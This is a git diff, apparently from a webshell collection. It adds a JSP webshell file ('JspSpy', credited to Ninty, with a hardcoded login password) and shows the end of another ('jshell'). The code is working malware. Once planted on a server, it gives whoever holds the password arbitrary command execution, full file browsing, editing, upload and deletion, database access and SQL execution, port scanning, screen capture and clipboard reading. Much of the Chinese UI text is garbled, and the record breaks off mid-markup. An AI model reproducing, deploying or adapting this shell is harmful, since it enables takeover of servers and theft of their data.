    JDK汾<%=System.getProperty("java.version")%>
    JDKװ·<%=System.getProperty("java.home")%>
    JAVA汾<%=System.getProperty("java.vm.specification.version")%>
    JAVA<%=System.getProperty("java.vm.name")%>
    JAVA·<%=System.getProperty("java.class.path")%>
    JAVA·<%=System.getProperty("java.library.path")%>
    JAVAʱĿ¼<%=System.getProperty("java.io.tmpdir")%>
    JIT<%=System.getProperty("java.compiler") == null ? "" : System.getProperty("java.compiler")%>
    չĿ¼·<%=System.getProperty("java.ext.dirs")%>
    ͻϢ
    ͻַ<%=request.getRemoteAddr()%>
    <%=request.getRemoteHost()%>
    û<%=request.getRemoteUser() == null ? "" : request.getRemoteUser()%>
    ʽ<%=request.getScheme()%>
    Ӧðȫ׽ֲ<%=request.isSecure() == true ? "" : ""%>
    +<% +//======================================================================================= +// end of printing the system info table +///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("filesystem")) { + String curPath = ""; + String result = ""; + String fsAction = ""; + + if (request.getParameter("curPath") == null) { + curPath = request.getRealPath(request.getServletPath()); + curPath = pathConvert((new File(curPath)).getParent()); + } else { + curPath = Unicode2GB((String)request.getParameter("curPath")); + } + + if (request.getParameter("fsAction") == null) { + fsAction = "list"; + } else { + fsAction = (String)request.getParameter("fsAction"); + } + + if (fsAction.equals("list")) + result = listFiles(curPath, request.getRequestURI() + "?action=" + action); + else if (fsAction.equals("browse")) { + result = listFiles(new File(curPath).getParent(), request.getRequestURI() + "?action=" + action); + result += browseFile(curPath); + } + else if (fsAction.equals("open")) + result = openFile(curPath, request.getRequestURI() + "?action=" + action); + else if (fsAction.equals("save")) { + if (request.getParameter("fileContent") == null) { + result = "ҳ浼"; + } else { + String fileContent = Unicode2GB((String)request.getParameter("fileContent")); + result = saveFile(curPath, request.getRequestURI() + "?action=" + action, fileContent); + } + } else if (fsAction.equals("createFolder")) { + if (request.getParameter("folderName") == null) { + result = "Ŀ¼Ϊ"; + } else { + String folderName = Unicode2GB(request.getParameter("folderName").trim()); + if (folderName.equals("")) { + result = "Ŀ¼Ϊ"; + } else { + result = createFolder(curPath, request.getRequestURI() + "?action=" + action, folderName); + } + } + } else if (fsAction.equals("createFile")) { + if (request.getParameter("fileName") == null) { + result = "ļΪ"; + } else { + String fileName = Unicode2GB(request.getParameter("fileName").trim()); + if (fileName.equals("")) { + result = "ļΪ"; + } else { + result = createFile(curPath, request.getRequestURI() + "?action=" + action, fileName); + } + } + } else if (fsAction.equals("deleteFile")) { + if (request.getParameter("filesDelete") == null) { + result = "ûѡҪɾļ"; + } else { + String[] files2Delete = (String[])request.getParameterValues("filesDelete"); + if (files2Delete.length == 0) { + result = "ûѡҪɾļ"; + } else { + for (int n = 0; n < files2Delete.length; n ++) { + files2Delete[n] = Unicode2GB(files2Delete[n]); + } + result = deleteFile(curPath, request.getRequestURI() + "?action=" + action, files2Delete); + } + } + } else if (fsAction.equals("saveAs")) { + if (request.getParameter("fileContent") == null) { + result = "ҳ浼"; + } else { + String fileContent = Unicode2GB(request.getParameter("fileContent")); + result = saveAs(curPath, request.getRequestURI() + "?action=" + action, fileContent); + } + } else if (fsAction.equals("upload")) { + result = uploadFile(request, curPath, request.getRequestURI() + "?action=" + action); + } else if (fsAction.equals("copyto")) { + if (request.getParameter("filesDelete") == null || request.getParameter("dstPath") == null) { + result = "ûѡҪƵļ"; + } else { + String[] files2Copy = request.getParameterValues("filesDelete"); + String dstPath = request.getParameter("dstPath").trim(); + if (files2Copy.length == 0) { + result = "ûѡҪƵļ"; + } else if (dstPath.equals("")) { + result = "ûдҪƵĿ¼·"; + } else { + for (int i = 0; i < files2Copy.length; i ++) + files2Copy[i] = Unicode2GB(files2Copy[i]); + + result = copyFiles(curPath, request.getRequestURI() + "?action=" + action, files2Copy, Unicode2GB(dstPath)); + } + } + } else if (fsAction.equals("rename")) { + if (request.getParameter("fileRename") == null) { + result = "ҳ浼"; + } else { + String file2Rename = request.getParameter("fileRename").trim(); + String newName = request.getParameter("newName").trim(); + if (file2Rename.equals("")) { + result = "ûѡҪļ"; + } else if (newName.equals("")) { + result = "ûдļ"; + } else { + result = renameFile(curPath, request.getRequestURI() + "?action=" + action, Unicode2GB(file2Rename), Unicode2GB(newName)); + } + } + } +%> + + + + + + + + + +
    ַ   +
    <%= result.trim().equals("")?" " : result%>
    +<% +///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("command")) { + String cmd = ""; + InputStream ins = null; + String result = ""; + + if (request.getParameter("command") != null) { + cmd = (String)request.getParameter("command"); + result = exeCmd(cmd); + } +// print the command form +//======================================================================================== +%> + + + + + + + + + + + + +
    ִ
    + + +
    ִн
    + + + + +
    <%=result == "" ? " " : result%>
    +<% +//========================================================================================= +// end of printing command form +/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("database")) { + String dbAction = ""; + String result = ""; + String dbType = ""; + String dbServer = ""; + String dbPort = ""; + String dbUsername = ""; + String dbPassword = ""; + String dbName = ""; + String dbResult = ""; + String sql = ""; + + if (request.getParameter("dbAction") == null) { + dbAction = "main"; + } else { + dbAction = request.getParameter("dbAction").trim(); + if (dbAction.equals("")) + dbAction = "main"; + } + + if (dbAction.equals("main")) { + result = " "; + } else if (dbAction.equals("dbConnect")) { + if (request.getParameter("dbType") == null || + request.getParameter("dbServer") == null || + request.getParameter("dbPort") == null || + request.getParameter("dbUsername") == null || + request.getParameter("dbPassword") == null || + request.getParameter("dbName") == null) { + response.sendRedirect(request.getRequestURI() + "?action=" + action); + } else { + dbType = request.getParameter("dbType").trim(); + dbServer = request.getParameter("dbServer").trim(); + dbPort = request.getParameter("dbPort").trim(); + dbUsername = request.getParameter("dbUsername").trim(); + dbPassword = request.getParameter("dbPassword").trim(); + dbName = request.getParameter("dbName").trim(); + + if (DBInit(dbType, dbServer, dbPort, dbUsername, dbPassword, dbName)) { + if (DBConnect(dbUsername, dbPassword)) { + if (request.getParameter("sql") != null) { + sql = request.getParameter("sql").trim(); + if (! sql.equals("")) { + dbResult = DBExecute(sql); + } + } + + result = "\n"; + result += "sql

     \n"; + + DBRelease(); + } else { + result = "ݿʧ"; + } + } else { + result = "ݿûҵ"; + } + } + } +%> + + + "> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    ݿ + + +
    ݿַ
    ݿ˿
    ݿû
    ݿ
    ݿ
     
    <%=result%>
    + + + + +
    + <%=dbResult%> +
    +<% + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("config")) { + String cfAction = ""; + int i; + + if (request.getParameter("cfAction") == null) { + + cfAction = "main"; + } else { + cfAction = request.getParameter("cfAction").trim(); + if (cfAction.equals("")) + cfAction = "main"; + } + + if (cfAction.equals("main")) { +// start of config form +//========================================================================================== +%> + + + " onSubmit="javascript:selectAllTypes()"> + + + + + + + + + + + + + + + + + + + + +
    ϵͳ
    Sessionʱʱ
    ɱ༭ļ + + + + + + +
    + + + +

    + +
    + +
    +
    +<% + } else if (cfAction.equals("save")) { + if (request.getParameter("password") == null || + request.getParameter("encode") == null || + request.getParameter("sessionTime") == null || + request.getParameterValues("textFileTypes") == null) { + response.sendRedirect(request.getRequestURI()); + } + + String result = ""; + + String newPassword = request.getParameter("password").trim(); + String newEncodeType = request.getParameter("encode").trim(); + String newSessionTime = request.getParameter("sessionTime").trim(); + String[] newTextFileTypes = request.getParameterValues("textFileTypes"); + String jshellPath = request.getRealPath(request.getServletPath()); + + try { + JshellConfig jconfig = new JshellConfig(jshellPath); + jconfig.setPassword(newPassword); + jconfig.setEncodeType(newEncodeType); + jconfig.setSessionTime(newSessionTime); + jconfig.setTextFileTypes(newTextFileTypes); + jconfig.save(); + result += "ñɹڷأԺ򡭡"; + result += ""; + } catch (JshellConfigException e) { + result = "" + e.getMessage() + ""; + } + +%> + + + + +
    <%=result == "" ? " " : result%>
    +<% + } +////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +//========================================================================================== +// end of config form + } else if (action.equals("about")) { +// start of about +//========================================================================================== +%> + + + + + + + + + + +
    jshell ver 0.1
        ʾalxeaĹܣҲȽϷЩȨǹߵ.
    hack520 by hack520 and welcome to ĺڿͬ
    +<% +//========================================================================================== + } +} +%> + + diff --git a/jsp/jspbrowser/1.jsp b/jsp/jspbrowser/1.jsp new file mode 100644 index 0000000..ccdfb25 --- /dev/null +++ b/jsp/jspbrowser/1.jsp @@ -0,0 +1,2344 @@ +<%@page pageEncoding="utf-8"%> +<%@page import="java.io.*"%> +<%@page import="java.util.*"%> +<%@page import="java.util.regex.*"%> +<%@page import="java.sql.*"%> +<%@page import="java.nio.charset.*"%> +<%@page import="javax.servlet.http.HttpServletRequestWrapper"%> +<%@page import="java.text.*"%> +<%@page import="java.net.*"%> +<%@page import="java.util.zip.*"%> +<%@page import="java.awt.*"%> +<%@page import="java.awt.image.*"%> +<%@page import="javax.imageio.*"%> +<%@page import="java.awt.datatransfer.DataFlavor"%> +<%@page import="java.util.prefs.Preferences"%> +<%! +/** +* Code By Ninty +* Date 2009-12-17 +* Blog http://www.Forjj.com/ +* Yue . I Love You. +*/ +private static final String PW = "kity"; //password +private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd"; +private static final String REQUEST_CHARSET = "ISO-8859-1"; +private static final String PAGE_CHARSET = "UTF-8"; +private static final String CURRENT_DIR = "currentdir"; +private static final String MSG = "SHOWMSG"; +private static final String PORT_MAP = "PMSA"; +private static final String DBO = "DBO"; +private static final String SHELL_ONLINE = "SHELL_ONLINE"; +private static String SHELL_NAME = ""; +private static String WEB_ROOT = null; +private static String SHELL_DIR = null; +public static Map ins = new HashMap(); +private static class MyRequest extends HttpServletRequestWrapper { +public MyRequest(HttpServletRequest req) { +super(req); +} +public String getParameter(String name) { +try { +String value = super.getParameter(name); +if (name == null) +return null; +return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET); +} catch (Exception e) { +return null; +} +} +} +private static class DBOperator{ +private Connection conn = null; +private Statement stmt = null; +private String driver; +private String url; +private String uid; +private String pwd; +public DBOperator(String driver,String url,String uid,String pwd) throws Exception { +this(driver,url,uid,pwd,false); +} +public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception { +Class.forName(driver); +if (connect) +this.conn = DriverManager.getConnection(url,uid,pwd); +this.url = url; +this.driver = driver; +this.uid = uid; +this.pwd = pwd; +} +public void connect() throws Exception{ +this.conn = DriverManager.getConnection(url,uid,pwd); +} +public Object execute(String sql) throws Exception { +if (isValid()) { +stmt = conn.createStatement(); +if (stmt.execute(sql)) { +return stmt.getResultSet(); +} else { +return stmt.getUpdateCount(); +} +} +throw new Exception("Connection is inValid."); +} +public void closeStmt() throws Exception{ +if (this.stmt != null) +stmt.close(); +} +public boolean isValid() throws Exception { +return conn != null && !conn.isClosed(); +} +public void close() throws Exception { +if (isValid()) { +closeStmt(); +conn.close(); +} +} +public boolean equals(Object o) { +if (o instanceof DBOperator) { +DBOperator dbo = (DBOperator)o; +return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd); +} +return false; +} +} +private static class StreamConnector extends Thread { +private InputStream is; +private OutputStream os; +public StreamConnector( InputStream is, OutputStream os ){ +this.is = is; +this.os = os; +} +public void run(){ +BufferedReader in = null; +BufferedWriter out = null; +try{ +in = new BufferedReader( new InputStreamReader(this.is)); +out = new BufferedWriter( new OutputStreamWriter(this.os)); +char buffer[] = new char[8192]; +int length; +while((length = in.read( buffer, 0, buffer.length ))>0){ +out.write( buffer, 0, length ); +out.flush(); +} +} catch(Exception e){} +try{ +if(in != null) +in.close(); +if(out != null) +out.close(); +} catch( Exception e ){} +} +} +private static class OnLineProcess { +private String cmd = "first"; +private Process pro; +public OnLineProcess(Process p){ +this.pro = p; +} +public void setPro(Process p) { +this.pro = p; +} +public void setCmd(String c){ +this.cmd = c; +} +public String getCmd(){ +return this.cmd; +} +public Process getPro(){ +return this.pro; +} +public void stop(){ +this.pro.destroy(); +} +} +private static class OnLineConnector extends Thread { +private OnLineProcess ol = null; +private InputStream is; +private OutputStream os; +private String name; +public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){ +this.is = is; +this.os = os; +this.name = name; +this.ol = ol; +} +public void run(){ +BufferedReader in = null; +BufferedWriter out = null; +try{ +in = new BufferedReader( new InputStreamReader(this.is)); +out = new BufferedWriter( new OutputStreamWriter(this.os)); +char buffer[] = new char[128]; +if(this.name.equals("exeRclientO")) { +//from exe to client +int length = 0; +while((length = in.read( buffer, 0, buffer.length ))>0){ +String str = new String(buffer, 0, length); +str = str.replace("&","&").replace("<","<").replace(">",">"); +str = str.replace(""+(char)13+(char)10,"
    "); +str = str.replace("\n","
    "); +out.write(str.toCharArray(), 0, str.length()); +out.flush(); +} +} else { +//from client to exe +while(true) { +while(this.ol.getCmd() == null) { +Thread.sleep(500); +} +if (this.ol.getCmd().equals("first")) { +this.ol.setCmd(null); +continue; +} +this.ol.setCmd(this.ol.getCmd() + (char)10); +char[] arr = this.ol.getCmd().toCharArray(); +out.write(arr,0,arr.length); +out.flush(); +this.ol.setCmd(null); +} +} +} catch(Exception e){ +} +try{ +if(in != null) +in.close(); +if(out != null) +out.close(); +} catch( Exception e ){ +} +} +} +private static class Table{ +private ArrayList rows = null; +private boolean echoTableTag = false; +public void setEchoTableTag(boolean v) { +this.echoTableTag = v; +} +public Table(){ +this.rows = new ArrayList(); +} +public void addRow(Row r) { +this.rows.add(r); +} +public String toString(){ +StringBuilder html = new StringBuilder(); +if (echoTableTag) +html.append(""); +for (Row r:rows) { +html.append(""); +for (Column c:r.getColumns()) { +html.append(""); +} +html.append(""); +} +if (echoTableTag) +html.append("
    "); +String vv = Util.htmlEncode(Util.getStr(c.getValue())); +if (vv.equals("")) +vv = " "; +html.append(vv); +html.append("
    "); +return html.toString(); +} +} +private static class Row{ +private ArrayList cols = null; +public Row(){ +this.cols = new ArrayList(); +} +public void addColumn(Column n) { +this.cols.add(n); +} +public ArrayList getColumns(){ +return this.cols; +} +} +private static class Column{ +private String value; +public Column(String v){ +this.value = v; +} +public String getValue(){ +return this.value; +} +} +private static class Util{ +public static boolean isEmpty(String s) { +return s == null || s.trim().equals(""); +} +public static boolean isEmpty(Object o) { +return o == null || isEmpty(o.toString()); +} +public static String getSize(long size,char danwei) { +if (danwei == 'M') { +double v = formatNumber(size / 1024.0 / 1024.0,2); +if (v > 1024) { +return getSize(size,'G'); +}else { +return v + "M"; +} +} else if (danwei == 'G') { +return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G"; +} else if (danwei == 'K') { +double v = formatNumber(size / 1024.0,2); +if (v > 1024) { +return getSize(size,'M'); +} else { +return v + "K"; +} +} else if (danwei == 'B') { +if (size > 1024) { +return getSize(size,'K'); +}else { +return size + "B"; +} +} +return ""+0+danwei; +} +public static double formatNumber(double value,int l) { +NumberFormat format = NumberFormat.getInstance(); +format.setMaximumFractionDigits(l); +format.setGroupingUsed(false); +return new Double(format.format(value)); +} +public static boolean isInteger(String v) { +if (isEmpty(v)) +return false; +return v.matches("^\\d+$"); +} +public static String formatDate(long time) { +SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); +return format.format(new java.util.Date(time)); +} +public static String convertPath(String path) { +return path != null ? path.replace("\\","/") : ""; +} +public static String htmlEncode(String v) { +if (isEmpty(v)) +return ""; +return v.replace("&","&").replace("<","<").replace(">",">"); +} +public static String getStr(String s) { +return s == null ? "" :s; +} +public static String getStr(Object s) { +return s == null ? "" :s.toString(); +} +public static String exec(String regex, String str, int group) { +Pattern pat = Pattern.compile(regex); +Matcher m = pat.matcher(str); +if (m.find()) +return m.group(group); +return null; +} +public static void outMsg(Writer out,String msg) throws Exception { +outMsg(out,msg,"center"); +} +public static void outMsg(Writer out,String msg,String align) throws Exception { +if (msg.indexOf("java.lang.ClassNotFoundException") != -1) +msg = "Can Not Find The Driver!
    " + msg; +out.write("
    "+msg+"
    "); +} +} +private static class UploadBean { +private String fileName = null; +private String suffix = null; +private String savePath = ""; +private ServletInputStream sis = null; +private byte[] b = new byte[1024]; +public UploadBean() { +} +public void setSavePath(String path) { +this.savePath = path; +} +public void parseRequest(HttpServletRequest request) throws IOException { +sis = request.getInputStream(); +int a = 0; +int k = 0; +String s = ""; +while ((a = sis.readLine(b,0,b.length))!= -1) { +s = new String(b, 0, a,PAGE_CHARSET); +if ((k = s.indexOf("filename=\""))!= -1) { +s = s.substring(k + 10); +k = s.indexOf("\""); +s = s.substring(0, k); +File tF = new File(s); +if (tF.isAbsolute()) { +fileName = tF.getName(); +} else { +fileName = s; +} +k = s.lastIndexOf("."); +suffix = s.substring(k + 1); +upload(); +} +} +} +private void upload() { +try { +FileOutputStream out = new FileOutputStream(new File(savePath,fileName)); +int a = 0; +int k = 0; +String s = ""; +while ((a = sis.readLine(b,0,b.length))!=-1) { +s = new String(b, 0, a); +if ((k = s.indexOf("Content-Type:"))!=-1) { +break; +} +} +sis.readLine(b,0,b.length); +while ((a = sis.readLine(b,0,b.length)) != -1) { +s = new String(b, 0, a); +if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) { +break; +} +out.write(b, 0, a); +} +out.close(); +} catch (IOException ioe) { +ioe.printStackTrace(); +} +} +} +%> +<% +SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1); +String myAbsolutePath = application.getRealPath(request.getServletPath()); +if (Util.isEmpty(myAbsolutePath)) {//for weblogic +SHELL_NAME = request.getServletPath(); +myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString(); +SHELL_NAME=request.getContextPath()+SHELL_NAME; +WEB_ROOT = new File(application.getResource("/").getPath()).toString(); +} else { +WEB_ROOT = application.getRealPath("/"); +} +SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator))); +if (session.getAttribute(CURRENT_DIR) == null) +session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR)); +request = new MyRequest(request); +if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) { +String o = request.getParameter("o"); +if (o != null && o.equals("login")) { +ins.get("login").invoke(request,response,session); +return; +} else if (o != null && o.equals("vLogin")) { +ins.get("vLogin").invoke(request,response,session); +return; +} else { +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +return; +} +} +%> +<%! +private static interface Invoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception; +public boolean doBefore(); +public boolean doAfter(); +} +private static class DefaultInvoker implements Invoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception { +} +public boolean doBefore(){ +return true; +} +public boolean doAfter() { +return true; +} +} +private static class ScriptInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); + +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BeforeInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("JspSpy Codz By - Ninty"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class AfterInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DeleteBatchInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String files = request.getParameter("files"); +if (!Util.isEmpty(files)) { +String currentDir = JSession.getAttribute(CURRENT_DIR).toString(); +String[] arr = files.split(","); +for (String fs:arr) { +File f = new File(currentDir,fs); +f.delete(); +} +} +JSession.setAttribute(MSG,"Delete Files Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class ClipBoardInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""+ +" "+ +" "+ +" "+ +"
    "+ +"

    System Clipboard »

    "+ +"

    ");
    +try{
    +out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getData(DataFlavor.stringFlavor))));
    +}catch (Exception ex) {
    +out.println("ClipBoard is Empty Or Is Not Text Data !");
    +}
    +out.println("
    "+ +" "+ +"

    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VRemoteControlInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +out.println(""+ +" "+ +" "+ +" "+ +"
    "+ +"

    Remote Control »

    "+ +" Speed(Second , dont be so fast) Can Not Control Yet."+ +"

    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//GetScreen +private static class GcInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Dimension size = Toolkit.getDefaultToolkit().getScreenSize(); +Rectangle rec = new Rectangle(0,0,(int)size.getWidth(),(int)size.getHeight()); +BufferedImage img = new Robot().createScreenCapture(rec); +response.setContentType("image/jpeg"); +ImageIO.write(img,"jpg",response.getOutputStream()); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VPortScanInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String ip = request.getParameter("ip"); +String ports = request.getParameter("ports"); +String timeout = request.getParameter("timeout"); +if (Util.isEmpty(ip)) +ip = "127.0.0.1"; +if (Util.isEmpty(ports)) +ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500"; +if (Util.isEmpty(timeout)) +timeout = "2"; +out.println("
    "+ +"

    PortScan >>

    "+ +"
    "+ +"

    "+ +"IP : Port : Timeout 룩 : "+ +"

    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class PortScanInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +ins.get("vPortScan").invoke(request,response,JSession); +String ip = request.getParameter("ip"); +String ports = request.getParameter("ports"); +String timeout = request.getParameter("timeout"); +int iTimeout = 0; +if (Util.isEmpty(ip) || Util.isEmpty(ports)) +return; +if (!Util.isInteger(timeout)) { +timeout = "2"; +} +iTimeout = Integer.parseInt(timeout); +Map rs = new LinkedHashMap(); +String[] portArr = ports.split(","); +for (String port:portArr) { +try { +Socket s = new Socket(); +s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout); +s.close(); +rs.put(port,"Open"); +} catch (Exception e) { +rs.put(port,"Close"); +} +} +out.println("
    "); +Set> entrySet = rs.entrySet(); +for (Map.Entry e:entrySet) { +String port = e.getKey(); +String value = e.getValue(); +out.println(ip+" : "+port+" ................................. "+value+"
    "); +} +out.println("
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VConnInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object obj = JSession.getAttribute(DBO); +if (obj == null || !((DBOperator)obj).isValid()) { +out.println(" "); +out.println("
    "+ +"
    "+ +""+ +"

    DataBase Manager »

    "+ +""+ +"

    "+ +"Driver:"+ +" "+ +"URL:"+ +""+ +"UID:"+ +""+ +"PWD:"+ +""+ +"DataBase:"+ +" "+ +""+ +"

    "+ +"
    "); +} else { +ins.get("dbc").invoke(request,response,JSession); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//DBConnect +private static class DbcInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String driver = request.getParameter("driver"); +String url = request.getParameter("url"); +String uid = request.getParameter("uid"); +String pwd = request.getParameter("pwd"); +String sql = request.getParameter("sql"); +String selectDb = request.getParameter("selectDb"); +if (selectDb == null) +selectDb = JSession.getAttribute("selectDb").toString(); +else +JSession.setAttribute("selectDb",selectDb); +Object dbo = JSession.getAttribute(DBO); +if (dbo == null || !((DBOperator)dbo).isValid()) { +if (dbo != null) +((DBOperator)dbo).close(); +dbo = new DBOperator(driver,url,uid,pwd,true); +} else { +if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) { +DBOperator oldDbo = (DBOperator)dbo; +dbo = new DBOperator(driver,url,uid,pwd); +if (!oldDbo.equals(dbo)) { +((DBOperator)oldDbo).close(); +((DBOperator)dbo).connect(); +} else { +dbo = oldDbo; +} +} +} +DBOperator Ddbo = (DBOperator)dbo; +JSession.setAttribute(DBO,Ddbo); +Util.outMsg(out,"Connect To DataBase Success!"); +out.println(" "); +out.println("
    "+ +"
    "+ +""+ +"

    DataBase Manager »

    "+ +""+ +"

    "+ +"Driver:"+ +" "+ +"URL:"+ +""+ +"UID:"+ +""+ +"PWD:"+ +""+ +"DataBase:"+ +" "+ +""+ +"

    "+ +"
    "); +out.println("
    "+ +"

    Run SQL query/queries on database :

    "); +} catch (Exception e) { +//e.printStackTrace(); +throw e; +} +} +} +private static class ExecuteSQLInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String sql = request.getParameter("sql"); +String db = request.getParameter("selectDb"); +Object dbo = JSession.getAttribute(DBO); +if (!Util.isEmpty(sql)) { +if (dbo == null || !((DBOperator)dbo).isValid()) { +response.sendRedirect(SHELL_NAME+"?o=vConn"); +} else { +ins.get("dbc").invoke(request,response,JSession); +Object obj = ((DBOperator)dbo).execute(sql); +if (obj instanceof ResultSet) { +ResultSet rs = (ResultSet)obj; +ResultSetMetaData meta = rs.getMetaData(); +int colCount = meta.getColumnCount(); +out.println("

    Query#0 : "+Util.htmlEncode(sql)+"

    "); +out.println(""); +for (int i=1;i<=colCount;i++) { +out.println(""); +} +out.println(""); +Table tb = new Table(); +while(rs.next()) { +Row r = new Row(); +for (int i = 1;i<=colCount;i++) { +r.addColumn(new Column(rs.getString(i))); +} +tb.addRow(r); +} +out.println(tb.toString()); +out.println("
    "+meta.getColumnName(i)+"
    "+meta.getColumnTypeName(i)+"
    "); +rs.close(); +((DBOperator)dbo).closeStmt(); +} else { +out.println("

    affected rows : "+obj+"

    "); +} +} +} else { +ins.get("dbc").invoke(request,response,JSession); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VLoginInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("
    "+ +"

    Password: "+ +" "+ +" "+ +" "+ +"

    "+ +" "+ +"Copyright © 2009 NinTy www.Forjj.com

    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class LoginInvoker extends DefaultInvoker{ +public boolean doBefore() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String inputPw = request.getParameter("pw"); +if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) { +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +return; +} else { +JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MyComparator implements Comparator{ +public int compare(File f1,File f2) { +if (f1 != null && f2!= null) { +if (f1.isDirectory()) { +if (f2.isDirectory()) { +return f1.getName().compareTo(f2.getName()); +} else { +return -1; +} +} else { +if (f2.isDirectory()) { +return 1; +} else { +return f1.getName().compareTo(f2.getName()); +} +} +} +return 0; +} +} +private static class FileListInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception { +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("folder"); +if (Util.isEmpty(path)) +path = JSession.getAttribute(CURRENT_DIR).toString(); + +JSession.setAttribute(CURRENT_DIR,Util.convertPath(path)); +File file = new File(path); +if (!file.exists()) { +throw new Exception(path+"Dont Exists !"); +} +JSession.setAttribute(CURRENT_DIR,path); +File[] list = file.listFiles(); +Arrays.sort(list,new MyComparator()); +out.println("
    "); +String cr = null; +try { +cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3); +}catch(Exception e) { +cr = "/"; +} +File currentRoot = new File(cr); +out.println("

    File Manager - Current disk ""+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"" total "+Util.getSize(currentRoot.getTotalSpace(),'G')+"

    "); +out.println("
    "+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
    Current Directory
    "+ +"
